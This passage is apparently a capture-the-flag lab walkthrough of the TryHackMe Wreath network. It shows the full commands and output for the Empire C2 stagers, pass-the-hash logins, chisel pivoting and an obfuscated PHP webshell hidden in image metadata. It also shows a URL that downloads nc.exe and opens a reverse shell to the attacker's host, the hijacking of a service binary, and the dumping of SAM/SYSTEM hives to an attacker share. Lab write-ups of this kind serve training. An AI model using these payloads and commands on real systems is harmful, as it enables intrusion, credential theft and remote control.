  adding: hop-stimpz0r/news.php (deflated 67%)
  adding: hop-stimpz0r/admin/ (stored 0%)
  adding: hop-stimpz0r/admin/get.php (deflated 67%)

❯ scp -i id_rsa /tmp/hop-stimpz0r.zip root@10.200.193.200:/tmp
hop-stimpz0r.zip                 100% 3257     8.1KB/s   00:00

[root@prod-serv tmp]# unzip hop-stimpz0r.zip
Archive:  hop-stimpz0r.zip
   creating: hop-stimpz0r/
   creating: hop-stimpz0r/login/
  inflating: hop-stimpz0r/login/process.php
  inflating: hop-stimpz0r/news.php
   creating: hop-stimpz0r/admin/
  inflating: hop-stimpz0r/admin/get.php

[root@prod-serv tmp]# cd hop-stimpz0r/
[root@prod-serv hop-stimpz0r]# php -S 0.0.0.0:31773 &>/dev/null &
[1] 2004
[root@prod-serv hop-stimpz0r]# firewall-cmd --zone=public --add-port 31773/tcp
success

Generating the stager

  • I will not cover the steps to create this stager, as this has been done in the Stager task above – however, instead use multi/launcher and ensure that Listener is pointed at the http_hop listener you created in the previous task:

  • This launcher, unlike the multi/bash will dump out a command you can copy and paste straight into the commandline

Dropping the ‘http_hop’ payload on Git-Serv

❯ evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.193.150

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> powershell -noP -sta -w 1 -enc  <ENCRYPTED_PAYLOAD>
  • Meanwhile on Empire CLI:
[+] New agent KWC4VB1T checked in
[*] Sending agent (stage 2) to KWC4VB1T at 10.200.193.200
(Empire: agents) > interact KWC4VB1T
(Empire: KWC4VB1T) > whoami
[*] Tasked KWC4VB1T to run Task 1
[*] Task 1 results received
GIT-SERV\Administrator


Task 30 – Command and Control – Empire: Modules

As mentioned previously, modules are used to perform various tasks on a compromised target, through an active Empire agent. For example, we could use Mimikatz through its Empire module to dump various secrets from the target.

Using CLI

  • usemodule inside the context of an agent (interacting with an agent)
    • There is a large list of modules, depending on the operating system of the target (windows has a LOT, linux not so many…)
    • For this example, we will look at powershell/privesc/sherlock, which ironically can also be run by simply interacting with a windows agent and typing sherlock.
    • If you are not 100% sure of the name, you can type some of the name and autocomplete will suggest the proper full name – e.g for sherlock
      Demonstrating searching for modules using the dropdown menu
  • usemodule powershell/privesc/sherlock to load the sherlock module
    • options to list the options
    • in this case if we are directly interacting with an agent it will automatically fill in the Agent field with your current agent, so we can run the module with execute
(Empire: usemodule/powershell/privesc/sherlock) > execute
[*] Tasked 345A819F to run Task 7
[*] Task 7 results received
Job started: 28UWY9
[*] Task 7 results received

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable

Using Starkiller

  • Since most of this has been explained in task 27 (Agents) here is a screenshot that should make sense:


Task 31 – Command and Control – Empire: Interactive Shell

Using CLI

(Empire: 345A819F) > shell
[*] Exit Shell Menu with Ctrl+C
(345A819F) C:\Users\Administrator > whoami
GIT-SERV\Administrator
(345A819F) C:\Users\Administrator >

Using Starkiller

  • Pictures are worth at least 1000 words… this should explain it. 🙂


Task 33 – Personal PC – Enumeration

Evil-WinRM & the ‘-s’ switch

  • The -s switch allows you to point to a directory of Powershell scripts and they will be available to load on the remote host
    • evil-winrm -u Administrator -H <HASH> -i 10.200.193.150 -s <SCRIPT_PATH> will help us – specifically, the scripts stored in /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network

Portscan via Evil-WinRM & Invoke-Portscan

❯ evil-winrm -u Administrator -H <REDACTED> -i 10.200.193.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Portscan.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Portscan -hosts 10.200.193.100 -TopPorts 50

Hostname      : 10.200.193.100
alive         : True
openPorts     : {80, 3389}
closedPorts   : {}
filteredPorts : {443, 445, 110, 21...}
finishTime    : 1/6/2022 8:56:24 AM

*Evil-WinRM* PS C:\Users\Administrator\Documents>


Task 34 – Personal PC – Pivoting

Chisel forward proxy

*Evil-WinRM* PS C:\Users\Administrator\Documents> netsh advfirewall firewall add rule name="chisel-stimpz0r" dir=in action=allow protocol=tcp localport=36969
Ok.

*Evil-WinRM* PS C:\Users\Administrator\Documents> .\chisel_x64.exe server -p 36969 --socks5
chisel_x64.exe : 2022/01/06 09:27:37 server: Fingerprint 1xe08ynQ7ONSJBi+CZYpl5W41u+mF4GTHvK9x7SAdNY=
    + CategoryInfo          : NotSpecified: (2022/01/06 09:2...4GTHvK9x7SAdNY=:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2022/01/06 09:27:37 server: Listening on http://0.0.0.0:36969
❯ chisel client 10.200.193.150:36969 1080:socks
2022/01/06 20:32:02 client: Connecting to ws://10.200.193.150:36969
2022/01/06 20:32:02 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/01/06 20:32:05 client: Connected (Latency 339.698548ms)

Wappalyzer



Task 35 – Personal PC – The Wonders of Git

Download ‘Website.git’ from GIT-SERV

*Evil-WinRM* PS C:\GitStack\repositories> ls

    Directory: C:\GitStack\repositories

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/2/2021   7:05 PM                Website.git

*Evil-WinRM* PS C:\GitStack\repositories> download C:\GitStack\repositories\Website.git /home/stimpz/tryhackme/net/wreath/
Info: Downloading C:\GitStack\repositories\Website.git to /home/stimpz/tryhackme/net/wreath/

Info: Download successful!

Using ‘gittools-extractor’ to dump the git repo

❯ cd website
❯ mv Website.git .git
❯ gittools-extractor . Website
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 345ac8b236064b431fa43f53d91c98c4834ef8f3
[+] Found folder: /home/stimpz/tryhackme/net/wreath/website/Website/0-345ac8b236064b431fa43f53d91c98c4834ef8f3/css

...

❯ cd Website
❯ ls
0-345ac8b236064b431fa43f53d91c98c4834ef8f3  2-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
1-70dde80cc19ec76704567996738894828f4ee895

Enumerating commits

❯ separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"

=======================================
0-345ac8b236064b431fa43f53d91c98c4834ef8f3
tree c4726fef596741220267e2b1e014024b93fced78
parent 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
author twreath <me@thomaswreath.thm> 1609614315 +0000
committer twreath <me@thomaswreath.thm> 1609614315 +0000

Updated the filter

=======================================
1-70dde80cc19ec76704567996738894828f4ee895
tree d6f9cc307e317dec7be4fe80fb0ca569a97dd984
author twreath <me@thomaswreath.thm> 1604849458 +0000
committer twreath <me@thomaswreath.thm> 1604849458 +0000

Static Website Commit

=======================================
2-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
tree 03f072e22c2f4b74480fcfb0eb31c8e624001b6e
parent 70dde80cc19ec76704567996738894828f4ee895
author twreath <me@thomaswreath.thm> 1608592351 +0000
committer twreath <me@thomaswreath.thm> 1608592351 +0000

Initial Commit for the back-end


Task 36 – Personal PC – Website Code Analysis

❯ find . -name "*.php"
./resources/index.php
resources/index.php
<?php

    if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
        $target = "uploads/".basename($_FILES["file"]["name"]);
        $goodExts = ["jpg", "jpeg", "png", "gif"];
        if(file_exists($target)){
            header("location: ./?msg=Exists");
            die();
        }
        $size = getimagesize($_FILES["file"]["tmp_name"]);
        if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
            header("location: ./?msg=Fail");
            die();
        }
        move_uploaded_file($_FILES["file"]["tmp_name"], $target);   
        header("location: ./?msg=Success");
        die();
    } else if ($_SERVER["REQUEST_METHOD"] == "post"){
        header("location: ./?msg=Method");
    }

    if(isset($_GET["msg"])){
        $msg = $_GET["msg"];
        switch ($msg) {
            case "Success":
                $res = "File uploaded successfully!";
                break;
            case "Fail":
                $res = "Invalid File Type";
                break;
            case "Exists":
                $res = "File already exists";
                break;
            case "Method":
                $res = "No file send";
                break;

        }
    }
?>
<!DOCTYPE html>
<html lang=en>
    <!-- ToDo:
          - Finish the styling: it looks awful
          - Get Ruby more food. Greedy animal is going through it too fast
          - Upgrade the filter on this page. Can't rely on basic auth for everything
          - Phone Mrs Walker about the neighbourhood watch meetings
    -->
    <head>  
        <title>Ruby Pictures</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" type="text/css" href="assets/css/Andika.css">
        <link rel="stylesheet" type="text/css" href="assets/css/styles.css">
    </head>
    <body>
        <main>
            <h1>Welcome Thomas!</h1>
            <h2>Ruby Image Upload Page</h2>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" id="fileEntry" required, accept="image/jpeg,image/png,image/gif">
                <input type="submit" name="upload" id="fileSubmit" value="Upload">
            </form>
            <p id=res><?php if (isset($res)){ echo $res; };?></p>
        </main> 
    </body>
</html>

PHP breakdown

if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
  • First checks if the POST method upload is being used and if it has been succesfully uploaded (is_uploaded_file)
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
  • It then sets $target to uploads/FILE_NAME and sets $goodExts to an array of image format file prefixes
if(file_exists($target)){
    header("location: ./?msg=Exists");
    die();
}
  • If the file already exists in the upload directory, it dies.
$size = getimagesize($_FILES["file"]["tmp_name"]);
        if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
            header("location: ./?msg=Fail");
            die();
        }
  • The next part is the juciest in relation to exploitation – first it sets $size to the image size (getimagesize(FILE_NAME)), then it checks if the file has any of the $goodexts, or if $size is set to null (and therefore not a proper image)
move_uploaded_file($_FILES["file"]["tmp_name"], $target);   
header("location: ./?msg=Success");
die();
  • If successful, it moves the file into the uploads/ folder and shows a success message.




Task 37 – Personal PC – Exploit PoC

Exiftool to sneak in our payload

❯ exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-stimpz0r.jpg.php
    1 image files updated

❯ exiftool test-stimpz0r.jpg.php
ExifTool Version Number         : 12.30
File Name                       : test-stimpz0r.jpg.php
Directory                       : .
File Size                       : 9.4 KiB
File Modification Date/Time     : 2022:01:06 22:45:21+11:00
File Access Date/Time           : 2022:01:06 22:45:21+11:00
File Inode Change Date/Time     : 2022:01:06 22:45:21+11:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : <?php echo "<pre>Test Payload</pre>"; die(); ?>
Image Width                     : 200
Image Height                    : 200
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 200x200
Megapixels                      : 0.040


Task 38 – AV Evasion – Introduction

When it comes to AV evasion we have two primary types available:

  • On-Disk evasion
  • In-Memory evasion

On-Disk evasion is when we try to get a file (be it a tool, script, or otherwise) saved on the target, then executed. This is very common when working with executable (.exe) files.

In-Memory evasion is when we try to import a script directly into memory and execute it there. For example, this could mean downloading a PowerShell module from the internet or our own device and directly importing it without ever saving it to the disk.

In ages past, In-Memory evasion was enough to bypass most AV solutions as the majority of antivirus software was unable to scan scripts stored in the memory of a running process. This is no longer the case though, as Microsoft implemented a feature called the Anti-Malware Scan Interface (AMSI). AMSI is essentially a feature of Windows that scans scripts as they enter memory. It doesn’t actually check the scripts itself, but it does provide hooks for AV publishers to use — essentially allowing existing antivirus software to obtain a copy of the script being executed, scan it, and decide whether or not it’s safe to execute.





Task 39 – AV Evasion – AV Detection Methods

I am not going to re-write or even summarize the text for this task… and pasting it in is simply repeated text that can be read by going to the room itself… so go read the breakdown in the task if you need!






Task 40 – AV Evasion – PHP Payload Obfuscation

PHP Obfuscation

Original payload
<?php  
 $cmd = $_GET["stimpz0r"];  
 if(isset($cmd)){  
 echo "<pre>" . shell_exec($cmd) . "</pre>";  
 }  
 die();  
?>
Obfuscated payload
<?php $b0=$_GET[base64_decode('c3RpbXB6MHI=')];if(isset($b0)){echo base64_decode('PHByZT4=').shell_exec($b0).base64_decode('PC9wcmU+');}die();?>
"bash friendly" payload
<?php \$b0=\$_GET[base64_decode('c3RpbXB6MHI=')];if(isset(\$b0)){echo base64_decode('PHByZT4=').shell_exec(\$b0).base64_decode('PC9wcmU+');}die();?>




Task 41 – AV Evasion – Compiling Netcat & Reverse Shell!

Exploitation

  • URL: uploads nc.exe to C:\Windows\Temp
http://10.200.193.100/resources/uploads/shell-stimpz0r.jpg.php?stimpz0r=curl%20http://10.50.190.97:8080/tools/nc_x64.exe%20-o%20c:\\windows\\temp\\nc-stimpz0r.exe
  • URL: starts powershell to wrap the running of nc.exe so that the reverse shell does not timeout…
http://10.200.193.100/resources/uploads/shell-stimpz0r.jpg.php?stimpz0r=powershell.exe%20c:\\windows\\temp\\nc-stimpz0r.exe%2010.50.190.97%206969%20-e%20cmd.exe
  • netcat listener:
❯ nc -lnvp 6969
Connection from 10.200.193.100:50238
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\resources\uploads>whoami
whoami
wreath-pc\thomas

C:\xampp\htdocs\resources\uploads>


Task 42 – AV Evasion – Enumeration

Enumeration

  • whoami /priv
C:\xampp\htdocs\resources\uploads>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
  • whoami /group
C:\xampp\htdocs\resources\uploads>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288
  • wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
C:\xampp\htdocs\resources\uploads>wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
DisplayName                                                                         Name                                      PathName                                                                                    StartMode
Amazon SSM Agent                                                                    AmazonSSMAgent                            "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"                                          Auto
Apache2.4                                                                           Apache2.4                                 "C:\xampp\apache\bin\httpd.exe" -k runservice                                               Auto
AWS Lite Guest Agent                                                                AWSLiteAgent                              "C:\Program Files\Amazon\XenTools\LiteAgent.exe"                                            Auto
LSM                                                                                 LSM                                                                                                                                   Unknown
Mozilla Maintenance Service                                                         MozillaMaintenance                        "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"                 Manual
NetSetupSvc                                                                         NetSetupSvc                                                                                                                           Unknown
Windows Defender Advanced Threat Protection Service                                 Sense                                     "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                  Manual
System Explorer Service                                                             SystemExplorerHelpService                 C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe  Auto
Windows Defender Antivirus Network Inspection Service                               WdNisSvc                                  "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe"               Manual
Windows Defender Antivirus Service                                                  WinDefend                                 "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe"              Auto
Windows Media Player Network Sharing Service                                        WMPNetworkSvc                             "C:\Program Files\Windows Media Player\wmpnetwk.exe"                                        Manual
  • sc qc SystemExplorerHelpService
C:\xampp\htdocs\resources\uploads>sc qc SystemExplorerHelpService
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Explorer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
  • powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
C:\xampp\htdocs\resources\uploads>powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner  : BUILTIN\Administrators
Group  : WREATH-PC\None
Access : BUILTIN\Users Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-3963238053-2357614183-4023578609-513D:AI(A;OICI;FA;;;BU)(A;ID;FA;;;S-1-5-80-956008885-341852264
         9-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-22714784
         64)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;
         BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;
         ;;S-1-15-2-2)




Task 43 – AV Evasion – Privilege Escalaition

THE Exploit!

C:\xampp\htdocs\resources\uploads>copy \\10.50.190.97\tools\RevShell_obf.exe %TEMP%\shell-stimpz0r.exe
copy \\10.50.190.97\tools\RevShell_obf.exe %TEMP%\shell-stimpz0r.exe
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
        0 file(s) copied.

Oh well, worth a shot! 😉

  • Unfortunately this also broke smb transfer and caused thomas’ PC to bash my attack box trying to login over smb… long story short it also wouldn’t allow me to net stop so I had to go with plan B (http).
C:\xampp\htdocs\resources\uploads>curl http://10.50.190.97:8080/ncWrap_obf.exe -o ncWrap.exe
curl http://10.50.190.97:8080/ncWrap_obf.exe -o ncWrap.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7168  100  7168    0     0   7168      0  0:00:01 --:--:--  0:00:01  9969

C:\xampp\htdocs\resources\uploads>move ncWrap.exe %TEMP%\ncWrap-stimpz0r.exe
move ncWrap.exe %TEMP%\ncWrap-stimpz0r.exe
        1 file(s) moved.

C:\xampp\htdocs\resources\uploads>copy %TEMP%\ncWrap-stimpz0r.exe "C:\Program Files (x86)\System Explorer\System.exe"
copy %TEMP%\ncWrap-stimpz0r.exe "C:\Program Files (x86)\System Explorer\System.exe"
        1 file(s) copied.

C:\xampp\htdocs\resources\uploads>sc stop SystemExplorerHelpService
sc stop SystemExplorerHelpService

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x1388

C:\xampp\htdocs\resources\uploads>sc start SystemExplorerHelpService
sc start SystemExplorerHelpService
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

Task 43 – Exfiltration – Exfiltration Techniques & Post Exploitation

ENUM >> dumping SAM / SYSTEM

C:\Windows\System32\spool\drivers\color>reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SAM sam.bak
The operation completed successfully.

C:\Windows\System32\spool\drivers\color>reg.exe save HKLM\SYSTEM system.bak
reg.exe save HKLM\SYSTEM system.bak
The operation completed successfully.

C:\Windows\System32\spool\drivers\color>net use \\10.50.91.186\tools /USER:domain\admin pwn3d!
net use \\10.50.91.186\tools /USER:domain\admin pwn3d!
The command completed successfully.

C:\Windows\System32\spool\drivers\color>copy sam.bak \\10.50.91.186\tools
copy sam.bak \\10.50.91.186\tools
Overwrite \\10.50.91.186\tools\sam.bak? (Yes/No/All): yes
yes
        1 file(s) copied.

C:\Windows\System32\spool\drivers\color>copy system.bak \\10.50.91.186\tools
copy system.bak \\10.50.91.186\tools
        1 file(s) copied.

C:\Windows\System32\spool\drivers\color>net use \\10.50.91.186\tools /del
net use \\10.50.91.186\tools /del
\\10.50.91.186\tools was deleted successfully.

Clean up

  • Auto service cleanup script beat me to the punch! 🙁
C:\Windows\system32>del "C:\Program Files (x86)\System Explorer\System.exe"
del "C:\Program Files (x86)\System Explorer\System.exe"
Could Not Find C:\Program Files (x86)\System Explorer\System.exe

C:\Windows\system32>sc start SystemExplorerHelpService
sc start SystemExplorerHelpService
[SC] StartService FAILED 1056:

An instance of the service is already running.

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